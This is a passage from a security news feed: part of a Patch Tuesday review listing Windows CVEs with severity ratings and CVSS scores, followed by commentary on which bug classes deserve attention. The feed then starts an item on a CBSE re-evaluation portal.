  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  




  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CBSE Re-Evaluation Portal Goes Live After Final Cybersecurity Clearance]]></title>
<description><![CDATA[The Central Board of Secondary Education has secured the final CBSE cybersecurity clearance required for its examiner-facing re-evaluation portal, allowing the reassessment of Class 12 answer scripts to move forward. The approval was granted on the night of June 6, 2026, after the completion of t...]]></description>
<link>https://tsecurity.de/de/3580758/it-security-nachrichten/cbse-re-evaluation-portal-goes-live-after-final-cybersecurity-clearance/</link>
